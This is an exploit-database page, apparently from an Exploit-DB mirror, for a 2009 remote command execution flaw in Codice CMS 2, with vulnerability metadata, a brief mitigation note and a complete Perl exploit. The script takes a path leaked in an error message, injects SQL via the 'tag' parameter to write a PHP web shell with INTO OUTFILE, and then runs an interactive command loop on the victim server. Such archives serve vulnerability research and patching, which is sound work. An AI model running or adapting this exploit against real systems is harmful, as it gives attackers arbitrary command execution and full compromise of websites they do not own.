header-logo
Suggest Exploit
vendor:
Codice CMS
by:
darkjoker
9.3
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: Codice CMS
Affected Version From: 2
Affected Version To: 2
Patch Exists: YES
Related CWE: N/A
CPE: a:codice:codice_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Codice CMS 2 Remote Command Execution Exploit

This exploit allows an attacker to execute arbitrary commands on a vulnerable Codice CMS 2 installation. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing a malicious PHP code in the 'tag' parameter of the 'index.php' script.

Mitigation:

Upgrade to the latest version of Codice CMS 2 or apply the patch provided by the vendor.
Source

Exploit-DB raw data:

#--+++===========================================================+++--
#--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--
#--+++===========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub banner
{
	print 	"--+++===========================================================+++--\n".
		"--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--\n".
		"--+++===========================================================+++--\n\n";
}

sub usage
{
	die "\n[+] Author   : darkjoker".
	     "\n[+] Site    : http://darkjoker.net23.net".
	     "\n[+] Download: http://freefr.dl.sourceforge.net/sourceforge/codice/codice-dev-prev.zip".
	     "\n[+] Usage   : perl $0 <hostname> <path>".
	     "\n[+] Ex.     : perl $0 localhost /codiceCMS".
	     "\n[+] 22-03-2009 Gigi D'Agostino allo Chalet, parco del Valentino, Torino!!".
	     "\n\n";
}

sub dec2hex
{
	my $num = $_ [0];
	my $hex = sprintf ("%x", $num);
	return $hex;
}

sub hex_format
{
	my $i = 0;
	my $hex;
	my @string = split '', $_ [0];
	while ($i < scalar (@string))
	{
		$hex .= "%" . dec2hex (ord ($string [$i]));
		$i++;
	}
	return $hex;
}

sub get_script_path
{
	my ($hostname, $path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => "tcp",
	) or usage;
	my $get =  "GET ${path}/index.php?id HTTP/1.1\r\n".
		   "Host: ${hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	print $sock $get;
	my $src_path;
	while (<$sock>)
	{
		$src_path = $1 if ($_ =~ /resource in <b>(.+?)<\/b>/);
	}
	close ($sock);
	return ($src_path) ? $src_path : 0;
}

sub create_shell
{
	my ($hostname, $path, $query) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname, 
		PeerPort => 80,
		Proto    => "tcp",
	) or usage;
	my $get = "GET ${path}/index.php?tag=${query} HTTP/1.1\r\n".
		  "Host: ${hostname}\r\n".
		  "Connection: Close\r\n\r\n";
	print $sock $get;
	close ($sock);
}

banner ();
my ($hostname, $path) = @ARGV;
usage unless ($path);
my $shell_path = get_script_path ($hostname, $path);
$shell_path =~ s/index\.php$/shell\.php/;
my $query = 'x %\' UNION SELECT 1, \'<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>\', 3, 4, 5, 6, 7 INTO OUTFILE \''.$shell_path.'\' FROM cod_codice--';
$query = hex_format ($query);
create_shell ($hostname, $path, $query);
print "Remember to delete 'shell.php' before exit!\n";
while (1)
{
	print "nobody\@${hostname} > ";
	my $cmd = <STDIN>;
	chomp $cmd;
	die ("Good bye!\n") if $cmd =~ /^quit$/;
	$cmd = hex_format ($cmd);
	my $sock = new IO::Socket::INET (
		PeerHost => $hostname,
		PeerPort => 80,
		Proto    => "tcp",
	);
	my $req =  "GET ${path}/shell.php?cmd=${cmd} HTTP/1.1\r\n".
		   "Host: ${hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	print $sock $req;
	my $k;
	while (<$sock>)
	{
		chomp $_;
		$_ .= "newline";
		$k .= $_;
	}
	$k =~ s/^.+1\t//;
	$k =~ s/\t3.+$//;
	$k = join ("\n", split ("newline", $k));
	print $k . "\n";
	close ($sock);
}

# milw0rm.com [2009-03-23]